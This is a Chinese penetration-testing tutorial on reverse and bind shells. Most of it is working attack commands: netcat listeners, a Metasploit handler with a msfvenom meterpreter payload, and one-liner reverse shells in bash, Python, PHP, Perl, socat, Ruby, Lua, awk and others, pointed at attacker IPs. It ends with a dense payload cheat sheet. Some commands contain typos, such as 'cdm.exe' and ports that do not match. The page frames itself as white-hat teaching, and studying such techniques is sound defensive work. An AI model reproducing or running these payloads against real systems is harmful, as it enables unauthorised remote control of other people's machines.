您好,登錄后才能下訂單哦!
這篇文章將為大家詳細講解有關內網(wǎng)滲透中反彈shell的示例分析,小編覺得挺實用的,因此分享給大家做個參考,希望大家閱讀完這篇文章后可以有所收獲。
聲明:文章技術僅供網(wǎng)絡安全技術人員及白帽子使用,任何個人或組織不可用于
違法犯罪,一經(jīng)發(fā)現(xiàn)直接上報國家安全機關處理。
反彈shell:
在攻擊者機器獲得受害者機器的命令行。
對內網(wǎng)有更深入的理解,了解內網(wǎng)的組織結構,為了更好的進行內網(wǎng)滲透。
利用nc正向連接目標服務器的shell,獲得目標服務器的控制權限(dmz大型靶場)
攻擊者可以訪問(連接)web服務器的目標(開放)端口,web服務器防火墻未攔截攻擊者的入站流量。適用于,能夠訪問到被控機器的開放端口。
物理機(攻擊機):
目標服務器(公網(wǎng)windows):***.***.88.201:6666
步驟一:
主動連接被控主機shell
,在被控主機上使用nc
監(jiān)聽6666
端口,成功反彈shell
后就控制目標服務器的cmd.exe
程序(只要連接到目標服務器的6666
端口,就會執(zhí)行cmd.exe
),結果如下圖所示:
命令:
#被控主機為Windows,使用以下命令: nc.exe -lvp 4444 -e cdm.exe #被控主機為linux,使用以下命令: nc -lvp 4444 -e /bin/bash
下圖為被控主機:
步驟二:
攻擊機連接目標服務器的6666
端口,結果如下圖所示:
命令:
#攻擊者: #nc -vv 被控服務器ip 4444 nc -vv ***.***.88.201 6666
下圖是攻擊者主機:
利用nc
反向反彈shell
到攻擊者本地,獲得目標服務器的控制權限(dmz大型靶場
)
1、防火墻對web服務器(被控主機)出站流量放行。
2、攻擊者必須有一個公網(wǎng)ip。
攻擊機器(公網(wǎng)kali):***.***.23.106:9999
被控機器(公網(wǎng)windows):
步驟一:
攻擊者外網(wǎng)vps
監(jiān)聽9999
端口:
攻擊者kali(公網(wǎng)ip)
進行監(jiān)聽本地9999
端口,被控主機反彈shell
到kali(公網(wǎng)ip)
的9999
端口,結果如下圖所示:
命令:
#攻擊機器(公網(wǎng)kali):***.***.23.106:9999 nc -lvvp 9999
下圖為公網(wǎng)kali:
步驟二:
把被控主機的shell
反彈到攻擊者kali
的9999
端口,如下圖所示:
命令:
#nc -e /bin/bash 攻擊者公網(wǎng)ip 9999 (反彈linux shell) #nc -e cmd.exe 攻擊者公網(wǎng)ip 9999(反彈windows shell)
下圖為被控主機:
步驟二:
查看kali
,顯示成功反彈目標服務器的shell
,如下圖所示:
分析:
能夠反彈成功,需要攻擊者開啟
公網(wǎng)kali
的監(jiān)聽端口,并讓防火墻對經(jīng)過9999
端口的流量進行放行;被攻擊者需要有攻擊者的
公網(wǎng)ip
,并且被攻擊者的流量能夠出來。
攻擊機器(公網(wǎng)kali):***.***.23.106:9999
被控主機(虛擬機win8):
步驟一:
攻擊者公網(wǎng)vps
監(jiān)聽9999
端口:
攻擊者在公網(wǎng)kali
(公網(wǎng)ip)使用msf的msfconsole
進行監(jiān)聽9999
端口的木馬反彈,結果如下圖所示:
命令:
#攻擊機器(公網(wǎng)kali):***.***.23.106:9999 msfconsole use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set lhost ***.***.23.106:9999 set lport 9999
步驟三:
生成一個反彈木馬,并將生成的木馬上傳到被控主機(虛擬機win8)
上,并進行點擊運行,使被控主機反彈shell
到kali(公網(wǎng)ip)
的9999
端口,如下圖所示:
命令:
#使用msfvenom生成反彈木馬: msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=***.***.23.106:9999lport=9999 -f exe -o test.exe #這里是使用finalshell遠程連接公網(wǎng)kali的,所以使用sz命令下載剛才生成的木馬到物理機: sz test.exe #下面就是把下載下來的木馬文件放到被控主機(虛擬機win8)。
步驟三:
在被控主機(虛擬機win8)
上,點擊運行test.exe(這個木馬文件)
,并進行查看公網(wǎng)kali
反彈情況,如下圖所示:
攻擊機器(公網(wǎng)kali):..23.106:9999
被控機器(虛擬機centos6.5):
接收端(攻擊者ip,公網(wǎng)): nc -lvvp 端口 發(fā)送端(被控主機):bash -i >& /dev/tcp/攻擊者ip(公網(wǎng))/攻擊者端口 0>&1 發(fā)送端(被控主機):0<&31-;exec 31<>/dev/tcp/攻擊者ip(公網(wǎng))/攻擊者端口; sh <&31 >&31 2>&31
步驟一:
為了保證環(huán)境的貼近實戰(zhàn),保持防火墻開啟狀態(tài)。(反彈shell有正向和反向的,我們90%都是反向反彈的shell。
正常情況下,攻擊者是無法正向連接目標服務器的;除了開啟22端口,通過ssh可以連接進來的,但是ssh我們不知道帳號密碼;我們最主要的目的是獲取目標主機的反向shell,所以防火墻可以不用關閉)。只關閉setenforce(setlinux)
,并查看防火墻狀態(tài),如下圖所示:
命令:
#關閉setlinux setenforce 0 #查看防火墻狀態(tài): service iptables status
步驟二:
攻擊者外網(wǎng)vps
監(jiān)聽9999
端口:
攻擊者kali(公網(wǎng)ip)
進行監(jiān)聽本地9999
端口,被控主機反彈shell
到kali(公網(wǎng)ip)
的9999
端口,結果如下圖所示:
命令:
#攻擊機器(公網(wǎng)kali):***.***.23.106:9999 nc -lvvp 9999
命令:
bash -i >& /dev/tcp/***.***.23.106/9999 0>&1
步驟三:
在被控機器(虛擬機centos6.5)
上,使用bash
把shell
反彈到攻擊者公網(wǎng)kali
上,并進行查看公網(wǎng)kali
反彈情況,如下圖所示:
攻擊機器(公網(wǎng)kali):***.***.23.106:9999
被控機器(虛擬機centos6.5):
接收端(攻擊者ip,公網(wǎng)): nc -lvvp 端口 發(fā)送端(被控主機):python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻擊者公網(wǎng)ip",攻擊者公網(wǎng)監(jiān)聽端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
步驟一:
攻擊者公網(wǎng)vps
監(jiān)聽9999
端口:
攻擊者kali(公網(wǎng)ip)
進行監(jiān)聽本地9999
端口,被控主機反彈shell
到kali(公網(wǎng)ip)
的9999
端口,結果如下圖所示:
命令:
#攻擊機器(公網(wǎng)kali):***.***.23.106:9999 nc -lvvp 9999
步驟二:
在被控機器(虛擬機centos6.5)
上,使用python
把shell
反彈到攻擊者公網(wǎng)kali
上,并進行查看公網(wǎng)kali
反彈情況,如下圖所示:
命令:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("***.***.23.106",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
攻擊機器(公網(wǎng)kali):***.***.23.106:9999
被控機器(虛擬機centos6.5):
接收端(攻擊者ip,公網(wǎng)): nc -lvvp端口 發(fā)送端(被控主機):bash -i >& /dev/tcp/攻擊者ip(公網(wǎng))/攻擊者端口 0>&1 發(fā)送端(被控主機):php -r '$sock=fsockopen("攻擊者ip",端口);exec("/bin/sh -i <&3 >&3 2>&3");'
步驟一:
攻擊者公網(wǎng)vps
監(jiān)聽9999
端口:
攻擊者kali(公網(wǎng)ip)
進行監(jiān)聽本地9999
端口,被控主機反彈shell
到kali(公網(wǎng)ip
)的9999
端口:
命令:
#攻擊機器(公網(wǎng)kali):***.***.23.106:9999 nc -lvvp 9999
步驟二:
在被控機器(虛擬機centos6.5)
上,使用php
把shell
反彈到攻擊者公網(wǎng)kali
上,并進行查看公網(wǎng)kali
反彈情況:
命令:
php -r '$sock=fsockopen("***.***.23.106",9999);exec("/bin/bash -i <&3 >&3 2>&3");'
攻擊機器(公網(wǎng)kali):***.***.23.106:9999
被控機器(虛擬機centos6.5):
接收端(攻擊者ip,公網(wǎng)): nc -lvvp端口 發(fā)送端:perl -e 'use Socket;$i="攻擊者ip";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
步驟一:
攻擊者公網(wǎng)vps
監(jiān)聽9999
端口:
攻擊者kali(公網(wǎng)ip)
進行監(jiān)聽本地9999
端口,被控主機反彈shell
到kali(公網(wǎng)ip)
的9999
端口,結果如下圖所示:
命令:
#攻擊機器(公網(wǎng)kali):***.***.23.106:9999 nc -lvvp 9999
步驟三:
在被控機器(虛擬機centos6.5)
上,使用bash
把shell
反彈到攻擊者公網(wǎng)kali
上,并進行查看公網(wǎng)kali
反彈情況,如下圖所示:
命令:
perl -e 'use Socket;$i="***.***.23.106";$p=9999;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
在目標服務器(linux)上面進行反彈shell時,可以通過以下命令,查看目標服務器上面有沒有安裝對應的程序:
命令:
#比如查看目標服務器上面有沒有安裝php服務: rpm -q php
linux反彈shell總結 1\.1發(fā)送文件\(公網(wǎng)發(fā)內網(wǎng)\) 文件發(fā)送端:nc \-lp 6666 < 文件 文件接收端:nc 發(fā)送端ip 發(fā)送端端口 \> 新文件 1\.2發(fā)送文件\(內網(wǎng)發(fā)公網(wǎng)\) 文件發(fā)送端:nc \-lp 6666 \> 文件 文件接收端:nc 發(fā)送端ip 發(fā)送端端口 < 新文件 2\.聊天 發(fā)送端:nc \-lp 6666 接收端:nc 發(fā)送端ip 發(fā)送端端口 3\.1發(fā)送shell 發(fā)送端\(公網(wǎng)服務器\):nc \-lvvp 6666 \-e /bin/bash 接收端:nc 發(fā)送端ip 發(fā)送端攻擊者ip 3\.2反彈shell 接收端:nc \-lvvp 6666 發(fā)送端\(內網(wǎng)網(wǎng)服務器\):nc 接收端ip 接收端端口 \-e /bin/bash 4\.bash反彈 接收端\(hackip\,公網(wǎng)\):nc \-lvvp 端口 發(fā)送端\(受害者\):bash \-i \>& /dev/tcp/111\.230\.170\.95/9985 0\>&1 發(fā)送端\(受害者\):0<&31\-;exec 31<\>/dev/tcp/111\.230\.170\.95/9985;sh <&31 \>&31 2\>&31 5\.1socat反彈\(tcp\) 接收端\(攻擊機\):\./socat TCP\-LISTEN:端口 \- 發(fā)送端\(靶機\):\./socat exec:'bash \-li'\,pty\,stderr\,setsid\,sigint\,sane tcp:攻擊機ip:攻擊機端口 5\.2socat反彈\(udp\) 接收端:nc \-lvvp 8080 發(fā)送端:socat udp\-connect:攻擊者ip:端口 exec:'bash \-li'\,pty\,stderr\,sane 2\>&1\>/dev/null & 6\.python反彈 接收端\(攻擊機\,外網(wǎng)\):nc \-lvvp 端口 發(fā)送端\(靶機\):python \-c 'import socket\,subprocess\,os;s=socket\.socket\(socket\.AF\_INET\,socket\.SOCK\_STREAM\);s\.connect\(\("接收端ip"\,接收端端口\)\);os\.dup2\(s\.fileno\(\)\,0\); os\.dup2\(s\.fileno\(\)\,1\); os\.dup2\(s\.fileno\(\)\,2\);p=subprocess\.call\(\["/bin/sh"\,"\-i"\]\);' 7\.PHP反彈 接收端:nc \-lvvp 端口 發(fā)送端:php \-r '$sock=fsockopen\("攻擊者ip"\,端口\);exec\("/bin/sh \-i <&3 \>&3 2\>&3"\);' 8\.JAVA反彈 接收端:nc \-lvvp 端口 發(fā)送端: r = Runtime\.getRuntime\(\) p = r\.exec\(\["/bin/bash"\,"\-c"\,"exec 5<\>/dev/tcp/攻擊者ip/端口;cat <&5 \| while read line; do $line 2\>&5 \>&5; done"\] as String\[\]\) p\.waitFor\(\) 9\.perl反彈 接收端:nc \-lvvp 端口 發(fā)送端: perl \-e 'use Socket;$i="攻擊者ip";$p=8080;socket\(S\,PF\_INET\,SOCK\_STREAM\,getprotobyname\("tcp"\)\);if\(connect\(S\,sockaddr\_in\($p\,inet\_aton\($i\)\)\)\)\{open\(STDIN\,"\>&S"\);open\(STDOUT\,"\>&S"\);open\(STDERR\,"\>&S"\);exec\("/bin/sh \-i"\);\};' 10\.ruby反彈 接收端:nc \-lvvp 端口 發(fā)送端: ruby \-rsocket \-e 'exit if fork;c=TCPSocket\.new\("攻擊者ip"\,"端口"\);while\(cmd=c\.gets\);IO\.popen\(cmd\,"r"\)\{\|io\|c\.print io\.read\}end' 11\.telnet反彈 接收端:nc \-lvvp 端口 發(fā)送端: mknod backpipe p && telnet 攻擊者ip 端口 0<backpipe \| /bin/bash 1\>backpipe 12\.lua反彈\(安裝lua環(huán)境:apt\-get install lua\*\) 接收端:nc \-lvvp 端口 發(fā)送端:lua \-e "local s=require\('socket'\);local t=assert\(s\.tcp\(\)\);t:connect\('攻擊者ip'\,端口\);while true do local r\,x=t:receive\(\);local f=assert\(io\.popen\(r\,'r'\)\);local b=assert\(f:read\('\*a'\)\);t:send\(b\);end;f:close\(\);t:close\(\);" 13\.awk反彈 接收端:nc \-lvvp 端口 發(fā)送端:awk 'BEGIN\{s="/inet/tcp/0/攻擊者ip/端口";while\(1\)\{do\{s\|&getline c;if\(c\)\{while\(\(c\|&getline\)\>0\)print $0\|&s;close\(c\)\}\}while\(c\!="exit"\);close\(s\)\}\}' 14\.ksh反彈 接收端:nc \-lvvp 端口 發(fā)送端:ksh \-c 'ksh \>/dev/tcp/攻擊者ip/端口 2\>&1 <&1' 15\.msfvenom生成各種payload 接收端:nc \-lvvp 端口 查找payload:msfvenom \-l payload \|grep 'cmd/unix/reverse' 生成payload:msfvenom \-p cmd/unix/reverse\_模塊 lhost=接收端ip lport=接收端端口 R
關于“內網(wǎng)滲透中反彈shell的示例分析”這篇文章就分享到這里了,希望以上內容可以對大家有一定的幫助,使各位可以學到更多知識,如果覺得文章不錯,請把它分享出去讓更多的人看到。
免責聲明:本站發(fā)布的內容(圖片、視頻和文字)以原創(chuàng)、轉載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權內容。